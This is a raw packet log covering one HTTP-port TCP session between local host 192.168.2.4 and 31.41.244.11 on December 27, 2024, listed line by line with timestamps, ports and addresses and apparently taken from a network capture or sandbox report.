Dec 27, 2024 08:46:32.591929913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.592884064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.592936993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.593044043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.593087912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.593925953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.593970060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.594047070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.594089031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.594985008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.595031977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.595113039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.595151901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.596079111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.596129894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.596162081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.596214056 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.597157001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.597203016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.597239017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.597279072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.598180056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.598227024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.598287106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.598328114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.599301100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.599344015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.599381924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.599425077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.600321054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.600358963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.600439072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.600482941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.601407051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.601464033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.601504087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.601548910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.602466106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.602534056 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.602564096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.602622032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.603549004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.603605986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.603645086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.603689909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.604633093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.604684114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.604743958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.604788065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.605698109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.605742931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.605798960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.605846882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.606714010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.606764078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.751862049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.751889944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.751924992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.751952887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.752361059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.752413988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.752484083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.752522945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.753427982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.753487110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.753557920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.753679991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.754508972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.754550934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.754631042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.754684925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.755568981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.755630970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.755703926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.755753040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.756685972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.756740093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.756772041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.756809950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.757728100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.757842064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.757869959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.757889032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.758790016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.758898020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.758935928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.759939909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.759984016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.760045052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.760087013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.761022091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.761075974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.761138916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.761368990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.762021065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.762072086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.762140036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.762263060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.763071060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.763114929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.763173103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.763408899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.764343023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.764393091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.764439106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.764534950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.765224934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.765273094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.765337944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.765624046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.766303062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.766346931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.766401052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.766446114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.767394066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.767441034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.767529964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.767643929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.768471956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.768529892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.768568993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.768683910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.769534111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.769582033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.769623995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.769828081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.770620108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.770667076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.770756960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.770898104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.771699905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.771750927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.771817923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.772000074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.772749901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.772800922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.772855997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.772896051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.773802996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.773854017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.773921013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.774090052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.774888039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.775012016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.775048971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.776015997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.776096106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.776125908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.776204109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.776997089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.777050018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.777139902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.777173996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.778095961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.778148890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.778203964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.778244019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.779213905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.779274940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.779337883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.779432058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.780231953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.780280113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.780320883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.780361891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.781305075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.781385899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.781408072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.781445026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.782387018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.782423019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.782486916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.782527924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.783458948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.783498049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.783667088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.783724070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.784543991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.784590960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.784637928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.784773111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.785593987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.785636902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.785684109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.785716057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.786672115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.786725998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.786762953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.786798954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.787746906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.787807941 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.787842989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.787925005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.788820982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.788868904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.788927078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.789132118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.789870024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.789921999 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.789968967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.790007114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.790962934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.791014910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.791070938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.791107893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.792040110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.792083979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.792155027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.792207003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.793147087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.793198109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.793236971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.793277025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.794182062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.794231892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.794322968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.795272112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.795325994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.795353889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.796329975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.796382904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.796471119 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.796513081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.797419071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.797512054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.797560930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.798474073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.798572063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.798619986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.799560070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.799606085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.799644947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.800618887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.800674915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.800717115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.801711082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.801764965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.801791906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.801836967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.802773952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.802886963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.802941084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.803831100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.803945065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.803998947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.804920912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.804975033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.805028915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.805984974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.806041956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.806111097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.806298018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.807045937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.807154894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.807200909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.808108091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.810318947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.953110933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.953177929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.953334093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.953589916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.953614950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.953664064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.954674006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.954750061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.954806089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.955739975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.955809116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.955846071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.955955982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.956794024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.956851006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.956886053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.956934929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.957858086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.957910061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.957967043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.958015919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.958931923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.959111929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.959161997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.960079908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.960170984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.960238934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.961200953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.961272001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.961330891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.962172031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.962235928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.962290049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.963273048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.963327885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.963356972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.964319944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.964349985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.964385986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.964436054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.965384960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.965504885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.965563059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.966447115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.966520071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.966623068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.967524052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.967583895 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.967634916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.968615055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.968662977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.968686104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.969650030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.969698906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.969777107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.969820023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.970741034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.970858097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.970906019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.971822977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.971932888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.971978903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.972944021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.973000050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.973037958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.973948002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.973998070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.974041939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.974301100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.975055933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.975159883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.975286961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.976111889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.976243973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.976300955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.977194071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.977348089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.977406979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.978264093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.978307009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.978365898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.979301929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.979348898 CET	49839	80	192.168.2.4	31.41.244.11
